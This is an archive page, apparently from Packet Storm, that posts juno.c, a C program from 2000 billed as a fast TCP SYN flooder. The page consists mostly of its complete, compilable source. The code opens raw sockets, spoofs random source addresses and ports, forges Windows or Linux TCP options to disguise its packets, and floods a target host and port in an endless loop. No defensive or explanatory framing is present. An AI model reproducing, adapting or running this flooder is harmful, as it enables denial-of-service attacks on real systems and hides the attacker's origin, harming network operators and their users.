what you don't know can hurt you

juno.c

juno.c
Posted Aug 6, 2000
Authored by Nijenrode

juno.c is a tcp syn flooder with extremely fast packet creation routines and the ability to emulate Linux or Windows.

tags | denial of service, tcp
systems | linux, windows
MD5 | c31602dfe81c264bb3657bd65a593a01

juno.c

Change Mirror Download
char about[] = "juno.c by Sorcerer of DALnet\n";

/*
for best results, compile with:
gcc -O2 juno.c -o juno

thanks to bleach for releasing this for me, I'm too lazy to do it myself

P.S I'd just like to send out a big "get out of the closet" to malkman,
for making useless mods to this source that actually make it *less*
effective. Get a life man.
*/

#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>

#define USELESS_INFO
#define EMULATE_WINDOWS /* EMULATE_WINDOWS or EMULATE_LINUX */
#define RANDOMIZE_SOURCE_IP /* random source ips */
#define RANDOMIZE_SOURCE_PORT /* random source ports */
#undef DELAY 1000 /* microsecond delay, undef for none */

/* nothing beyond here is useful to people who can't program */

#ifndef EMULATE_WINDOWS
# ifndef EMULATE_LINUX
# define EMULATE_WINDOWS 1
# endif
#endif

struct syn {
unsigned char verihl;
unsigned char tos;
unsigned short len;
unsigned short id;
unsigned short flg_ofs;
unsigned char ttl;
unsigned char proto;
unsigned short ipsum;
unsigned long src;
unsigned long dst;
unsigned short sport;
unsigned short dport;
unsigned long seq;
unsigned long ack_seq;
unsigned char offset;
unsigned char flags;
unsigned short win;
unsigned short tcpsum;
unsigned short urgptr;
#ifdef EMULATE_WINDOWS
char opt[8];
#else
# ifdef EMULATE_LINUX
char opt[20];
# endif
#endif
};

int resolve(char *name,unsigned long *ip) {
struct hostent *host;

if ((*ip=inet_addr(name)) == INADDR_NONE) {
if (!(host=gethostbyname(name))) return(-1);
*ip=((struct in_addr *)host->h_addr)->s_addr;
}
return(0);
}

int getsock(void) {
int s = socket(PF_INET,SOCK_RAW,6),one=1;

if(s<1) return(0);
if(setsockopt(s,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one))<0) return(0);
return(s);
}

int getport(char *s, unsigned short *out)
{
char const *p;
int n;

if(!*s) return(-1);
for (p=s;*p;p++) if(*p<'0'||*p>'9') return(-2);
if(p-s>5) return(-3);
if(((n=atoi(s))>65535) || (n<0)) return(4);
*out=htons(n);
return(0);
}

void prep_syn(struct syn *syn) {
syn->verihl = 69;
syn->len = htons(sizeof(struct syn));
syn->flg_ofs = 64;
syn->proto = 6;
syn->flags = 2;
#ifdef EMULATE_WINDOWS
syn->ttl = 128;
syn->offset = 112;
syn->win = htons(8192);
syn->opt[0] = 2;
syn->opt[1] = 4;
syn->opt[2] = 5;
syn->opt[3] = 0xB4;
syn->opt[4] = 1;
syn->opt[5] = 1;
syn->opt[6] = 4;
syn->opt[7] = 2;
#else
# ifdef EMULATE_LINUX
syn->tos = 16;
syn->ttl = 64;
syn->offset = 160;
syn->win = htons(15536);
syn->opt[0] = 0x02;
syn->opt[1] = 0x04;
syn->opt[2] = 0x0F;
syn->opt[3] = 0x2C;
syn->opt[4] = 0x04;
syn->opt[5] = 0x02;
syn->opt[6] = 0x08;
syn->opt[7] = 0x0A;
syn->opt[9] = 0x05;
syn->opt[10] = 0x27;
syn->opt[11] = 0x2D;
syn->opt[13] = 0x05;
syn->opt[14] = 0x27;
syn->opt[15] = 0x2D;
syn->opt[16] = 0x01;
syn->opt[17] = 0x03;
syn->opt[18] = 0x03;
# endif
#endif
}

int starttime,outcount=0;

int xmit_syn(struct syn *syn,int sock,struct sockaddr_in *targ) {
register int count = (sizeof(struct syn)-20) >> 1,sum;
register unsigned short *p = &syn->sport;

#ifdef RANDOMIZE_SOURCE_IP
syn->src = random();
#endif
syn->id = 1+255*((random()%256)|0xFF);
#ifdef RANDOMIZE_SOURCE_PORT
syn->sport = htons(1024 + (random() & 2048));
#endif
syn->seq = random();
syn->ack_seq = random();
syn->tcpsum = 0;
sum = (syn->src >> 16) + (syn->src & 0xffff) + (syn->dst >> 16) +
(syn->dst & 0xffff) + 1536 + htons(count << 1);
while(count--) sum += *p++;
sum = (sum >> 16) + (sum & 0xffff);
syn->tcpsum = ~(sum += (sum >> 16));

outcount++;

return(sendto(sock,syn,sizeof(struct syn),0,targ,sizeof(struct sockaddr_in)));
}

#ifdef RANDOMIZE_SOURCE_IP
# ifdef RANDOMIZE_SOURCE_PORT
# define TARGET_IP_INDEX 1
# else
# define SOURCE_PORT_INDEX 1
# define TARGET_IP_INDEX 2
# endif
#else
# ifdef RANDOMIZE_SOURCE_PORT
# define TARGET_IP_INDEX 2
# else
# define SOURCE_PORT_INDEX 2
# define TARGET_IP_INDEX 3
# endif
#endif

void sig_proc(int signum) {
int ctime=time(NULL);
printf("\n -- statistics -----------------------\n");
printf(" packets sent: %d\n",outcount);
printf(" bytes sent: %d\n",outcount * sizeof(struct syn));
printf(" seconds active: %d\n",ctime-starttime);
printf(" average bytes/second: %d\n",(outcount * sizeof(struct syn))/(ctime-starttime));
printf(" -------------------------------------\n");
exit(1);
}

int main(int argc,char *argv[]) {
struct syn syn;
struct sockaddr_in targ;
int sock;

bzero(&syn,sizeof(struct syn));

if(argc<TARGET_IP_INDEX+2) {
fprintf(stderr,"Syntax: %s ",argv[0]);
#ifndef RANDOMIZE_SOURCE_IP
fprintf(stderr,"<source ip> ");
#endif
#ifndef RANDOMIZE_SOURCE_PORT
fprintf(stderr,"<source port> ");
#endif
fprintf(stderr,"<target ip> <target port>\n");
exit(1);
}

if(!(sock=getsock())) {
fprintf(stderr,"Failed to create socket\n");
exit(2);
}

#ifndef RANDOMIZE_SOURCE_IP
if(resolve(argv[1],&syn.src)) {
fprintf(stderr,"Invalid source ip (%s)\n",argv[1]);
exit(3);
}
#endif

#ifndef RANDOMIZE_SOURCE_PORT
if(getport(argv[SOURCE_PORT_INDEX],&syn.sport)) {
fprintf(stderr,"Invalid source port (%s)\n",argv[SOURCE_PORT_INDEX]);
exit(4);
}
#endif

if(resolve(argv[TARGET_IP_INDEX],&syn.dst)) {
fprintf(stderr,"Invalid target ip (%s)\n",argv[TARGET_IP_INDEX]);
exit(5);
}

if(getport(argv[TARGET_IP_INDEX+1],&syn.dport)) {
fprintf(stderr,"Invalid target port (%s)\n",argv[TARGET_IP_INDEX+1]);
exit(6);
}

#ifdef USELESS_INFO
printf("%s%s",about,"death");
# ifndef RANDOMIZE_SOURCE_IP
printf(" from %s:",inet_ntoa(syn.src));
# ifndef RANDOMIZE_SOURCE_PORT
printf("%d",ntohs(syn.sport));
# else
printf("random ");
# endif
# else
# ifndef RANDOMIZE_SOURCE_PORT
printf("random:%d",ntohs(syn.sport));
# endif
# endif
printf(" to %s:%d\n",inet_ntoa(syn.dst),ntohs(syn.dport));
#endif
targ.sin_addr.s_addr = syn.dst;
targ.sin_port = syn.dport;
targ.sin_family = AF_INET;

srandom(time(NULL));

starttime = time(NULL);
while(time(NULL) == starttime) usleep(1000);

signal(SIGHUP,&sig_proc);
signal(SIGINT,&sig_proc);
signal(SIGQUIT,&sig_proc);
signal(SIGILL,&sig_proc);
signal(SIGABRT,&sig_proc);
signal(SIGFPE,&sig_proc);
// signal(SIGKILL,&sig_proc);
signal(SIGSEGV,&sig_proc);
signal(SIGPIPE,&sig_proc);
signal(SIGALRM,&sig_proc);
signal(SIGTERM,&sig_proc);
signal(SIGUSR1,&sig_proc);
signal(SIGUSR2,&sig_proc);
signal(SIGCHLD,&sig_proc);
signal(SIGCONT,&sig_proc);
// signal(SIGSTOP,&sig_proc);
signal(SIGTSTP,&sig_proc);
signal(SIGTTIN,&sig_proc);
signal(SIGTTOU,&sig_proc);

prep_syn(&syn);
while(1) {
if(xmit_syn(&syn,sock,&targ)!=sizeof(struct syn)) {
fprintf(stderr,"failed to send packet\n");
exit(7);
}
#ifdef DELAY
usleep(DELAY);
#endif
}
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    38 Files
  • 3
    Sep 3rd
    30 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    12 Files
  • 6
    Sep 6th
    17 Files
  • 7
    Sep 7th
    3 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    24 Files
  • 10
    Sep 10th
    22 Files
  • 11
    Sep 11th
    22 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    5 Files
  • 14
    Sep 14th
    2 Files
  • 15
    Sep 15th
    1 Files
  • 16
    Sep 16th
    11 Files
  • 17
    Sep 17th
    16 Files
  • 18
    Sep 18th
    8 Files
  • 19
    Sep 19th
    12 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close